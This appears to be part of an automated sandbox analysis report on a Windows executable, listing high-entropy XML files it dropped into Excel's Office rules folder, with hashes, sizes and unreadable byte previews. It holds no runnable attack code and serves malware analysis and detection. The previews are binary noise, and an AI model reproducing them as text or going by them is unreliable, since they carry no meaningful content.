Preview:	<?xml.......Z...j4.mrh.q2/.......v....=..o._,D.U..iu\|...[...NA..Pa(d...q_.t..."..P4..G..:..V.....zg....{_;.x..r.}.wl.&.\|.p.....M"C.,.....j..#q....'....E...}.%.c..c......W.-.c.....=...f.z....7..l...n..I5}...}C.d}.9.1[^...y.....i`x....?b"..K...[.....b.i..,d.F+.t....Ue.q.....L....!....T?.r..T..^......k%.....`.>P..B4[.....w8D#F....I.NB.qh.J.0k...u5.@..g]....8....+..(.B.E;.E.....Sm.......NQe....r...!b>JM.....zR.\|.m......R.h...vP%....9I..Uz1..L...\|[Z'\g.05jcm$......\|...]BD..k.....>4'..........1.H....{.D.9)........P.L...j..m{..(P6..h]Z.zi..g...oY......cJ5}.<$.h..S...../j.Q>...p<..!mFa.F.i..P...........g.t.Ts...f.c.?d..R.f$.R.H'.qU..M....R_@...\|..~.6.....`.hT....`....de4...{.M98+D3...P8....#.e..M..NZ9%..t~L_....k..3.&...}...v...W.e/...:...j;@5...0....>.oF...y.X...!%_.\|$K..q..[..(....I...".E.#Bn.K...:..:.>...P.B7b...v.g.....z@..(....`N..-.w!...L.M![......z..rBh.Y.h.f.q...1.....3d...8]s2.XfL....1.8..cr.=S.k.[..^...^.u.SO..d...{..I.C..$..;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.810450240730537
Encrypted:	false
SSDEEP:	24:RE2leXdW0ememVADbQftJIul7I+/DDIpWFVCqO/PB/oNfsbD:RLeX4xtxDWl7I+/DDKWFmPBgNmD
MD5:	224F7B627E1E8F3F71333D0913C238A6
SHA1:	001D66DB22CC71579E4E5446CEC2C589A8080ADC
SHA-256:	3C74E33E4E30742D7C9AB76B4B7C768CCDBE571EA92733CB46D69BD7290A94F7
SHA-512:	03877B72B4020AB9DEA8365A1F30D4002327DDFE0CDBDE48371B59822F2AEFB2EBE5547977987A77B322D188769A4499BD7116D75E00C565528C2D0564BFEB8F
Malicious:	false
Preview:	<?xmlQ.(oMn...8M.M..L.i....p......\|.....T9..).a9....mt.P..8.<op^.c..~.?...s..f.`..ce.G...X.....g...v@......a..;g..S.w3mr...^......R(.7.r.).^..8C....@..P..Zt.....M.H.].4..N...............#.z.c..G.R..:......g....oayD.#.W....Tc.T./....UU..'.q!m......t.!.}A.N`.tG)h..(v...B4.+2#.....oa..fEFH....{E.j......P..M]Z...FN5/.....PL"....".......;.%]Vs.\..f.....i.Y...E.<.R..w..<.).\...B.?..c\..._.3...[p>...J..hW..x=...:.x.}..c..0I.Z.M.._Fe..j...h...GX...z....jNS.c.._."....^..cX....I...=.i.TH."W.e.........~x.H......srj.{?3.j.96..!0w<..J;.J4R].3..f.k..6C8..O..P...[..yw...9..c.........w.v.[...<S...3..9........Hd..J........R.:0..._.."8...<./3.8y VO..&..Yv.d.w...Xp....5`.9F8Vq.X..H. 2C...6.Wp..........6...>c.a.n>...^4]a3Tc..8.e.%).O.?.:W..kV.2..L..,1..LIH..\.A\|X.H!......H....gE..t36.\|..!....$.t..+Ow..0.F...AJ.j[.8^....kpq.j.#\|...2.!..(.."..eF]#.#.....T.d.....7.C.............n....K....N..Hm..G{P'1.A.n..e.w..w1.K......9...q.([ivUP.....)..n..-...FJ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.830244712121588
Encrypted:	false
SSDEEP:	24:vL5XscC4Kv/IB/5r6PhQyk+235qz1dbpZpyQXjTzOimPTqg99sbD:9XscWXIUpCpqzVZpyejeimPTHTmD
MD5:	01AD607F2EF822E7D38564EEC43A7938
SHA1:	1B7D64FA92E4C6091D319E9C8565B405DE753EE3
SHA-256:	8DAAA0D75C44CFD07374AEA78F3B36AE1ED37F0198C611D9ABA866EFEC4E0ECF
SHA-512:	96EF6457F1B3B49A53D429C5E94A51C6E8974ADD8CB69ADEE08CD8BC09EAAD8DC31E8E536CD35CFD1367B5745CD6D342EDD76EA0BE8CCA127A4653CC595E20E0
Malicious:	false
Preview:	<?xmlw......!.<;P..Ze..l.M-)z.....<..J..?4dLN.U\...Q.h^..;]...Y....eA.2r..../ Q..ek..e_.DE.^.t...D]..b7.....1^s..2] I.~?..a-...b...i.Z..^..f.7..Sd...l...&.#.~h!}........1....._...).\|?.8.R.!....G8....:(. .x..>.i..}{.I@..Z...ex.b]....f...[.Di.[.>..1.LO..ia.f...r...(F.....~w#.7.i...@...m...u.!EN..{...U.f.n.}.:.-..xgh...h..\k...sc......R.\|T.!IyP...... ...G...)..W.W.......rp.R25.cM..&.-&ua.u#y....gQ~.v`..X..3.UXl.'.%....3^$.3(....D..s..v...).a.\|..f.....o?L.$.=........>i......(....C...?#..._..X........j..............).i.g.../&..U.M....B.......V;....I..f}..}...^..:`.'.G^...>...2.I..,.....?.rm.F...a..7n..9p../.$._...>n...D.V..5].G..n,.x........2.)...f.H~-...5..........e-?Z......1w#Gz.,.s.(..p.fp.)..../_..s.....F..$Omc..n.....B./.sq.8j.Q.....:....h..d..ta..H.-+q..=..$.m.N.D...V.QdW@..Q...5.C....V;...PL..5CU.x....;....O..ze..#-........#-.=....G.......l\|wl5.Z.....="..RNt.F.2.$WBk....D.Z.c.-.z.std...I\......7.v.$........9...Y.t....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.800314506253053
Encrypted:	false
SSDEEP:	24:U7P0BnZfRqVfT5KA8LPMtb+Vvj8znk+y03YsbD:5BnZf47+LPM1+azkJrmD
MD5:	1C092F9676C853B664C9CD1220C67097
SHA1:	FA3AC8263A35A75D566FEF9D350899C9F6284C03
SHA-256:	6C86BDE8CFCF3EC4644C4EE4BCC0CAAFACFAED4DA7473AAF6A562EC215ACE4FE
SHA-512:	2B961923EF0C9678EB5A63B8A199792E47F7B3805532BE6A779B1E4CABB002786B25A4F43CFBE525AF075B205375FC7529A15D4053B198A333CB78A4DE1FBB15
Malicious:	false
Preview:	<?xml...T.M.y.j..Qh..2so....j.Q...va...Sp1P......Ndw..C.l#.1!.......!4...l,...v.#.3l...._.5...].S.{..S.B.y.G.M....8......c.....h'C."V..,..ip...G....B[..O ..).W(.....K...w..H.!.z.q..l...?..Zt.p...n...F..f.[n.#[\)`\|.j......T..Fn...&9...u/..j...[..'.Lc...AN/..!.Vu2..D...]......L..../S.....L.....r.....TU"#m..._.....e..K.NC.q.~...oj.3..t.d+.%o=I.I..D8...i......w.....`..`,.F.(.......a., .a..w.,..P.....G.N........oc]...na..Y....B.........K../Z.0...su;B.....<J... .kfO..n.A.D....."...........C.....{.....'V._....B.....W.....s...c...\|........._....'~.._....8...M" ..>..Y.....L...,.X.....1..)L....(`;...Jm..>?n....]..n..H.y.g?..{U0..X....9D..3..r...'3..#TNQ..M.S\|..>.:Q.X..%.V.1.5.U.f.....I...b.0..U.;./.."...G...@.:.Ta......f..a...QQP...\|.c.},..S..].0.9...g.F.<...&......cJ..wVfF.....;t.k.ao....8....V.......2..+..Z..[.".k......../.O......4V3..~.S.ZnG......M......\|#....3.5.r}L.8.O5~...3....a..)._.g.(;'H..0.0....D8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.942922709871797
Encrypted:	false
SSDEEP:	96:E2bZ+c8nm/0fiOWop+C/xv3uCDjZWuMgdgkom2+:TZZMRp+CheCht3gT3+
MD5:	CC951436EC5EF7694F2378CC542FC154
SHA1:	AC49E9AD46ED44249E2792A831DE781395D1B563
SHA-256:	F7AF47EAD17C1354FDEFB29C000693C8A7268BF45E0DC51FAB4D9F1D15FCE8E5
SHA-512:	208ED5E02817578A20667AB906FA703B8C9B84AE2380F9D5148B10FAFEE9F798A1A0100723AAC3FDEDF27E158E7F34B2007C68AC422DFC438C7D88DB527EDB59
Malicious:	false
Preview:	<?xml..C1Qq4.A.B.\|...XG"8}j.$.W....(..].1...e..x`.f#..4Ba..gn%...g.u...z....SxucvDscR....<6.y.4..C.{hH.9f.....6.....w.1y.F..c:.r.f..&"......d.C.Z....2....-d.~.p.G........#...zh.,.....%c...S...A.,..n...qZ..$..1}..).\..D..q<w..~j.6....^F.\|F.s..2....T.oY.~.....3GS.H..D...nb.......}.Z..o.u.GK.^p..5..#12..M..S.......}...P.u.JT..s..>#.....X...AdY.....eOU$.O]]l...F....aLk.....n..'.C`.%.P_.....W....w.X....7.-yv.W.....A.......>.(.)..m.ds7..X.#.{.>.r.. .}.[TZ...'H.H.N.."..F\..D.gT..(..(PP.......X.4.....U{\w.A.....e..x(.......r..-..S..ATv=V...vL...D3 *..\|.n.....{....eZU......k....9..\|..!..a..Js.{.?...V..I..q.%.&<V..!...i...@...8.R=.....z!.$.Y...Z].3=..K.....1...N..D..Jc..q.<...i{Dc.\].....<..2.4..Jb...S...P..N_d..]gu.U..+"Tr..V..>#h..J>$\........z.ZUpv@P..H...d...}.M ...@...".u.......{.}.`.8.B4._^...pcS.~...l..g..a....;5.c..7.<...}I..j.!.>.^..B.jIPh.{.,..a.l.l.....W&.m...oHPpV...>5.u)/R$rX...yK......rh....H.\;.f_...8..Ns.....H^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.702357800716047
Encrypted:	false
SSDEEP:	12:Hrt4lQGqWL2A3NljiKGkcsQ3Zx/mJ4mGJFehS3fCvg3uB7MNjVQscii9a:LtHGqW6WIkcV37/mim1S36/5MF6sbD
MD5:	99054123BFA716FDC64FE63598494E2D
SHA1:	C7CD542B36DA7125796624E6BC973EC9468777CB
SHA-256:	C3639F92B461E5DF61D46AB2561219770F4AF6287535C3C768859CA7839FDAA1
SHA-512:	BEF0A647A8D41D3121C72CC586F276A150C6BD6A89607489DBC0B3A565BA7DDE179CB48D6BF64E5625478DA6D7CB9DC44FEFA1571766817B19AC7219B74ABEAB
Malicious:	false
Preview:	<?xml......y.M]...O.X.I.(l.sm.......~K..z...z<j..}\..z$:......./..aq.L..r..F:.k.._.#.wu..f.\|.`^s..xb.L..y....p4t..p...W...#8M...>1[C.<.YUvu];>....9..ON....]...eC..n.a......A=W....H...rQP........v.n.{)6>..]CH....H-..........h;E.R.......u...S&..O.?...~.Ak.G3.......L.W....../.#..<...^.....\.z./.W......TS.....c.....9.<.(Qc.2.....9\|.+uN......W.Z>U..HLv.F.>c...1.G.....L>1KH.mM...<CQ.?....x..E6L+...jrv.g.\+....x.all%.^..D.>o^....`#.]d"..\|..6..1d..:x..4_N.?.....X\W.1-8+.iC.5.!......[r.Wvr.. ..jT...`V?Z....2....9..{3.A...-....l.q2.\|..\|....9...Z.QS.....t............h.UZ(M.g.@_.n..<B.\.k.......Y.....I3B4.%.{..-...!..p..W.p...8. .:.d..=...Y...z...f...&..q2.V..OM.....R...tD..]8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.950408604952154
Encrypted:	false
SSDEEP:	96:wXUyZ5y3MWRGVEgNaYqeg4PjxW/3vfheP03/bnNg1buirfwumv+:wXUMrVEZYfTLCHhePqbNwuir4Rv+
MD5:	C82CE856DB3B05FD6B27A2F6904AA42B
SHA1:	E332E9E207B068976475DB57A0C2AA3A652B68B7
SHA-256:	0A328288173050C9968AFAE7B87EB25A63F52AA3F721E470E3F75C8C2DA56DE7
SHA-512:	8FF589D3EF53BB080D5B996784A3D1AFBE475F57AF68290B9CE7AF01839B3B55A2E25720A0BBCED74B2C559BB04343F261FF73B4E5A13F5DD1E68815E9835B24
Malicious:	false
Preview:	<?xml.....Cs...+#=...1..YYV...E.=.ED..jS..$E.X..q?..;...Y...Dy.f......7.?.D7..!...R.{.Ku...j..E......B!~.T5>.........OiS.H......x.....NX.........h.......)..{..N....U..{d.7.-..m..n.j~f2..k2..6.d.c..5".>vq..M.G.:......?W=...'...h..........u)...W....i....{.........?..;..v6k.A1>.....o..=.M.g._.l.....W.v...... ......:r}.'...h.......'...).H#.YI..Up,.>..1.....1(......v....+..xo.`/..P......0hYI?}\ .h.....d@.x.....oTm...bE.(p.v.tt."\|<..Ui.._.........~..v3~.s..%..N .......-%C%.C...AC...^s"...`...(}....3z.6H.t.....(.c.~..N.,,...ZWs;....='..N.O-...A~.$.r...e....\.Q......0.....x.[?...c....6.9.h3T...j.H.T. q.!.z(.......zF..h..u(".S..z/.....P......I.Kf..2...M.d..1.....x..q...J...#.'........X.@......<.9!m.F8...7.U....BZ.SCQP..N.Sq...6j....y..fz7..#...y..tf.i....C9O..t.$.....T......y.u'<.....D.(p.=..r.......#.....EV.z:<......k...x@.........d7l.E...A..C(2...k....b..@....RK=..V._.D.&....iB.Q.!..._.........E...:...JM?a..Fs.#.C...2.....y..Q.8..a.i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.826452711003079
Encrypted:	false
SSDEEP:	24:4ymqjVXCP5MSqnHNShWj2lPcRp4SQFB+EFbBpBArkWNmW+sbD:4ymol8Fcq+kbvBAxmjmD
MD5:	8109ACC118508E8139A6D4E0944FF678
SHA1:	6E58EAF1047BCFD245144950D0CAA7DE599EA73E
SHA-256:	C0A4027FB41ACE6F4AC25C66F484265A98D78FFC1471C094B40FE0BB424A9DE0
SHA-512:	B423BC8E1C5EDE865167B728BEA95BDFC93D8A1B389BD701164F0AC46D2AA833F99A4DB06B1D7DA6B7E69B523778A69E1529E65EA0648EDC57FEC96FC242E89F
Malicious:	false
Preview:	<?xml.p.K..?Ma...apR<..%...05P..`....(.9...w.r..<.....GC..u........<L.r.m.C..$s.R=...k].?o..G....&.4.\|.........y.8....9.I....$_1.p....V...}:....g........bk:.X$Fd....w"#.&<....".._.>..._#p.......r-#k.lb..0......_..V..c.,.Zm...1..f....e.../..[..K.K....x.Ij.,!.'.'n9...!.\|..0j.....^f.Q.J...7..pA.,..cQ..}....xv..9[..5..'..b.MY.R....m'.L.,.'........J.....zzJl....?.....M..A.#......bR.....x.V<...\}......hT...W....P.E..5..#....)a...w. z].ODT...;Xf>xe4.....Q<..g...6......`"..u..8..5y.PS.../..... \|T.-Tka......:.S.....k.y.F.)Y.....m.X......!.x^.G.>.../.....\Wb%......M..}...,6gV......k.q.e.i..&.pL>.".$G.7.?.A.+Z\|.........'<Q!...&........._...........(.:..a./=..j\|."A.].E.h..D..J.9 .mAz...;.U..vd....bt..#......\dwC._..C.O33>........7..'...aRz..o....}.]D...0O#.\|.4...tT..IR7...H...16.Y....K......Q.HI..&.;.O..V3R...n%....PH..p....!}..l...o4.......%...+U..E.v.X.G....h.8(.IP.^%.%W.-.%]..L.OCOR..5.}..".....j....4.D4..M..*.W\j..........D.O.B..n.j5.(V.}F.&.t....C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.8787883892056465
Encrypted:	false
SSDEEP:	48:jpSyut5zadF17vZ9Gh/D2nkyuElrukKmD:tSptI17vXubVExg+
MD5:	8F3DE3A8612D14D1F101D1596C11091C
SHA1:	76420FFB2688D569EA47577B15F2C50FD2592D01
SHA-256:	4E4AEAFECD029FA1EFA573AD3A94BACAE8975C0AF093937A1933BC16C705D7C8
SHA-512:	F531230F72401633E1443649B040100C21C5500982960D27E330A0C855087841F1831116BC827009134C2F4F466B22FC325463709922E6B7D6EC698413518F11
Malicious:	false
Preview:	<?xml.tl.WC.P..^E=..jMW.,<=n...\w.c....E..g.f.<X.....>.DG......Y.....2.....C....y... .U0...<sEc].@aX.._....0.kb&.,$}.\|.p}.dm&y.."..R.W'...m...B..yH....AY. .q.G..`.k..\.a.Cn.P..u.<....&...L.so.s...@...i..W...A.........../..h..[tQ..q....D.?.-...$.{.[.u.S.X=........w5D....?}.;....KC...3l....F._..W..:....2...hR#......B`...<.k....=......}r...X.....\|.....3..vt..'.\|.R....%zmD...1?....l.....^..y&.....d+z.nA.....+.c\|...q.S.U.2.]l$.&8U?-[.o..&..*..D...Q...f..G.\|..jO.K.8..\|.,_.}1...g,._u..[h~Hn.-B.......Do......fm.A!....<E.....?7.o....CS...if......@.nAV.Yt.wxHd.z!..!.....Zd..iv..W.(.5...c.3Z....sr..SL.SKD....o......c.........m.O...4.H....3.@:...=C.t.Z. N;b&5..a^$)..Yo..d.9y<c;.V..Djq...@nX..}.S~.R......Jj[X.......o......W.H;k.#...ugD....._"....u...9.w......-....Q..8.I.K...6X.u....e.....=..<=o...#RA.+.....2Dz.X.3...`.f.A...)C.c.e.A..4.K...abIt.N-...^m.q..v..6...\|..5.ri.Ik[....!....h&M..-.....#.j..R..L.......<..&..T`9.9.......NY....}l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.748709810551467
Encrypted:	false
SSDEEP:	24:5lBUKrxebgcOAFxJbQ2OAWZq2/BOdmSsbD:5liKrIg3w9/WdEcSmD
MD5:	316C5E1CFB36FE5A718332136EAD0FA7
SHA1:	7D200325CBCAC27648FFFB77118ECCC6FE58A1FD
SHA-256:	BCC1E8F1E86E9E8FFE5B6482B3F4E645820223B7FAFFAA1B887AFEF701FF64F3
SHA-512:	8FB8D20DFFAACBEC973D728D83651A04C6D310E00837DD8A3998F169FCCC2F180EFE16B80A24E8F6D4235DA09AEF85BDE9B5976F9EDD5B517A4BBB9430EAC107
Malicious:	false
Preview:	<?xml..r.z.."9.q.....b>EFH........"....;..}.g.m.$.e.....b._.4?......:..R.....U.h.w.eoq#...F....t.q.$.........V.7.p....J......o...h...j..k.j....>.?o.h...BE...Dp>.....Mn0.`.A..K.:...X.u.Dg...1..mn..y.v<q`..#m..........JR..J...v.. ...Q.7.n......:.u}b1A..N..!.Q.+..@......D9.4...n..R..X<............f........h\|F.].~...'4..,.[f.V..p..6i.v...}5)[..^c.x.x%l;...:eB..M..L.\|..y.F.J....$Iy....M...Eo_<..Y.Q.C........R...E+z..........b(...Q..]. ....h..k.....o^.0.....J....mD...po.....2].A.........(A.)..=.7.....R.D/A...{.1r.yol.G............#.....w... 87..6..k..&4..X.....,...r.....O.m....sC.m..E..BT....Z......*Z3J....P...^.7h.Oe.J.i.-.!. LS.H.H...t.h.f.D......e.)..7F.`..f..x.".8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.813870495871138
Encrypted:	false
SSDEEP:	24:IDfHQ9Ll/g/4w2nfcmCNqA+A37Ha6MsbD:W49Z/BEmu7r+6MmD
MD5:	BA5279C51E9DBE5FA189A3B9FAD7068C
SHA1:	1B3B5FC3CDFFB715CC04C3344CD7C1E490BFED58
SHA-256:	62D08E3334C6A90E8E7B7AADF9E4740302CE5E833E058B5D4520185BB661FEF4
SHA-512:	10BE673209BE223F9EBC6F20275E2501E6E9B61779C669D532560DC3BD97102396DADFB0078D6250662EE1F31E90483523C25F94B75C726BBF722D96DC1260D0
Malicious:	false
Preview:	<?xml5.}.......<..Q.2.[.....v.D....s...hr%WA.,...f..AR$j..Xe.YTR...I..5\-.6...q..:..%B..0L.V...,....DM......i...4......CX..s$.B.l....D...d}&..,..g.[...P]...!%..T{}..w...If...8.-.F..N....tE.o..E.d.....o......N..&A ..>..:4i.m.p.(.U.......:O3U.+..R.._..#.(+...B.o]..Tt....Y>...y...P.9...>lq.....?.m.k./.+&..Cs...+....O.P..RV...].F4.i.Wj..{.....<.&.#.8~0.&._[}$.S..c...Mh..[.t....m...G...by.G.....#..'A._^$.Ew..d.9.%.g\.\|...4..U.3Cl..].8!.eM..7Ox..f...<..@5.{..u...D..&./..6..N2,r....l,D.T..4...b".....N.......X...).<E...6..<..j.....@..-.4).-.HK3.o..,.'a.k......nO..SY.2$....S.F..h..R\|D...$.+..Q]... .lK..`.3>.Ai.{...r..Z`..S,.......#...;.L..s.V..VZ..A.}.\|...Z2......^b....;..5....y.c...."...D?40Q"..~..wf...k}0.%.>..!.g8.G...../.iD.'.R+...r..k.]...l....e..7......j...h..u.CR..\|.qR..t[XI...!...6... T..L...N.t..}v....4....Za.ne1..G..R..Vd.Jj....Y....8...s.>7.....1.&u.....m.......A.$...v.....L.....XFh.o.....C?.z.#.A..H.0.....c.S..D....W......KE.&M.....c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.830188622510901
Encrypted:	false
SSDEEP:	24:46yBQn5vmbpan/DQ+tXScnOpzoJjtygAWmiMMYsDnI8GMFnTCsbD:3m+mF6/DQ+tXhPAHimwI8pnGmD
MD5:	03F54ACAED05BBED6C208BA17EC2F525
SHA1:	A46BBC30664512AD2BA11631500761135C2F3D6C
SHA-256:	FC37797DC167501F4D1A7F45C4B8DFB70526D5E849BB4F0DBC7407017EAB5D44
SHA-512:	3C0CEC5811D384675A7FDA7A94C429BEBECBFB8B261EAFA6F7F6D78C4040E3407B9FD289A0FE913386FC8F99A5801509CF85F04DB4D3376A373B639C0996B4AA
Malicious:	false
Preview:	<?xml1G....b.....X..kq].vq.7.g.7C. H.g..f:{)...b<.I...x....c.9v(...^.`Ne_...._...Y......">%.oW.f...s3..Y...VV.o.:.?...Q....+..[..t.i.g.Z...<.j.P?...!.s....$.O.].!..a..V$..qJ.d..1v.N{."t\|.%.5D..r.R..^#]n..!...3.@q+GA..\|...J..&..H.{`.....Z.(....E...E.u....A../.>f.s.....V...h......D.d..!XN.....S.......{s21.....^y<..K+.+...b..{.....]..I.Lt9..(.6q:.,.(3.E....~.8...z........iBI..+..QW-...w.~..$}~....j.V..@...4../..+e.B'.,k\|/....k.....T.ne.........H.d...$....\.D\|...v.k.=r{X...l.aST...f....k[.&.@...7dK....0....T.'U..."^..F..B..C.......$.....s!.4.=&..\...{.V...S..+.j.Z'......T}(.........m!QG...C...Q.d...x.N.h.]..:MZ..M[.i.+.......l..8`pE^]....S....3\|.........`.D%K9M..6....,#g...)..KHj..]C.w..X.yb...k:/'....W.hf.t...T...`.r..[#...$P1.J...O..O.jT.......2:..NK.H....L.j.....]..p.$G..=....*Yja`..'R.#.c..:Q..$..%....O~."g.bu.r.8.T..A.hJ=_w....mI..E.j..:..h..~.z.?.$..5...Y....l.{.e[83x6K.k...oQI."v..RH.u.f.`e.;...<..a)...'U;....;\8Dvoqx3bvfv1GNOXw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7016971861911445
Encrypted:	false
SSDEEP:	24:KoLLQBEomTZ/iJDMp3hsuOVs9sgIz4sbD:HLkBER/i2vOm9stz4mD
MD5:	4AF5D5B58A22404CF64C8542FB848573
SHA1:	682A11E461176823C63517C09405448A8324D9D3
SHA-256:	58BDADDBC98C11A0406215F4E350D9F8D143F6EB81613738EA0FC397BE4F4924
SHA-512:	471AACF5F3A81EC67F4FB6DDCF104BB3F027750A332F1D54E3DCCE7FF0B4BEEB5E3F2F42926F43EF08C7C8DECC711D47A849497AEC02EBCE77A4F15EB366104F
Malicious:	false
Preview:	<?xml ..e...O... ...A`'..3.}a.i._.y4.e...`~.f.09.......V/....;.=(.w..D_..(g V....J.dBk.C2g.OJ.....Gn.V.......A_.=#...8&b....=f.s.^.I..@..fD....I..Kt..a.cU.Nb.......<\|.FS...K)I...v.TNE.F..28..A...&....7.>.v..0/..^.,.I..N.u....c....5..._..?UN.w.6U.I..N......&...SqJ......%2.a:;g.}ECr.....X>g.:...M..dLp..^......G.8..kF....7ZB.7...P.w.} `.....u3...4.d.o. ...t.....8N}'sF&XF.s..o..=...;.N..Up.a.#..T.Q.w.A.8y\|,.:.]..l...h.@y...R....k.........~..Y\|..i.nx..mgn.`..G...m.J..=>..F)Q^...0b&dGH..D:...b..T.V)O...]$Y.r.$S........F.w.V"....L{:.Ho.....V4.(.SC\|...ca@..'...~...p....e.G.@.vk.o./.Y.O.o./k....q.k._..t...qO[S.3...v!w../b.l\|....5:....\|..'.....o..qr'.p....+..e.o....P.Y....'.(...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.874107480648129
Encrypted:	false
SSDEEP:	24:OtAfWxpUkEQn/lddTEoSod+hmo1GAu5zAyx+ItFa9iMDwwW+oQYWwabwNUnUShvc:OtAfW7EMYot+MoUAu5zTG9i0VW+ogu+q
MD5:	1C66027FF20BC44A32C85F797F2768BE
SHA1:	BBBBAE3C7B0AFAF4FE16CF1B14FD619E14DC32B6
SHA-256:	62F276739FEBC91F4845547EB91FA93BC7CA3DCBA1862BCB68EB2CCF341A6C4B
SHA-512:	71BBCFDEEA31CC55CAA6DAE084C16FAC907ABF83275A83744E2A694C621CFE4FAFD2D36807217218AE1570D471A2E2F7A9C60E74FA528D9528F6FC3FF80954CB
Malicious:	false
Preview:	<?xml.^;..\.%.f.....r...NmN.......c....x.n'...........U.F1.(...L.....o10.'...)..@....{hV........s.....~..1..c..K..R..Y.#).Rb0}...5..J....^\|.y....s}.../`.Q.....@...l.y..\..:.t..;........_..!5.....\|!a.^...U......../:.X.z\..vx....vDW...z....c+....-.S9zR....T`....~.[<...G...i.@>..r.6.O&+j..K....... s<..x.2.`.r....f4/.A..7i.v+..z..fR.1.....<b5...r.*..p.C.=......lj.>v+\.L.@..'+..eJ.P....Hoo..H.I>..(9.~.D..@..........LT.!.oe......5.2..)s.n.........T.L...\n..p&.F6...J.&....[.......@..p....m^[...'..t.?n.2....t....Ms....gj.......:.$!D.\..6.i-.[.4c.1...J....q..rrU`..M.87.6."3.PY..P/&P. .}...P`%.,z?yeI.o.....P<.U.\T7.\|..%&.N....\|`....D...0(o..T........Y.a._.m]......Yy.X..$[.j..E.bj.U.USE..6...w-.N.c....%..a .f3..2....Ex.Y..O.I.P......M..T..Ez5ac......RIh..N....8@....F...g.D.f_.u.......F..5W.Y...tm..X.."d.r(...U...[.%YG....K.A.4..>....t.p.).Z..h+h...\|9.S.!.j.....:.HF'/._..\.Z.]\s.T...?..#O...8U.x.....+....9z..k....0..@B..VD..[.3.X..P.T#...6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.87358435992509
Encrypted:	false
SSDEEP:	24:e+3PSnCH8ib7UjlG5jfOiI7JPMj8ZuImJnQr8UcPfFBgH6eAsbD:e+3pwlG5jDI7J88wCNcPTaAmD
MD5:	4439191EFB6997014062280E0EBAD672
SHA1:	1526D61D178B3C0B6DD486BEC51691A17F64A4D1
SHA-256:	B2FF52A375027282E3AAD5B6BAC717F246E58EE5B2F71BA18A0271A03ABD5372
SHA-512:	69CE89816C46A7BD15DF11AAE5F0B37231489F3E8AE4D54AE245D71892566A21D483B139B7A444B9CEE185AA00F99774D765D8AC97D79757347FC067D72247CB
Malicious:	false
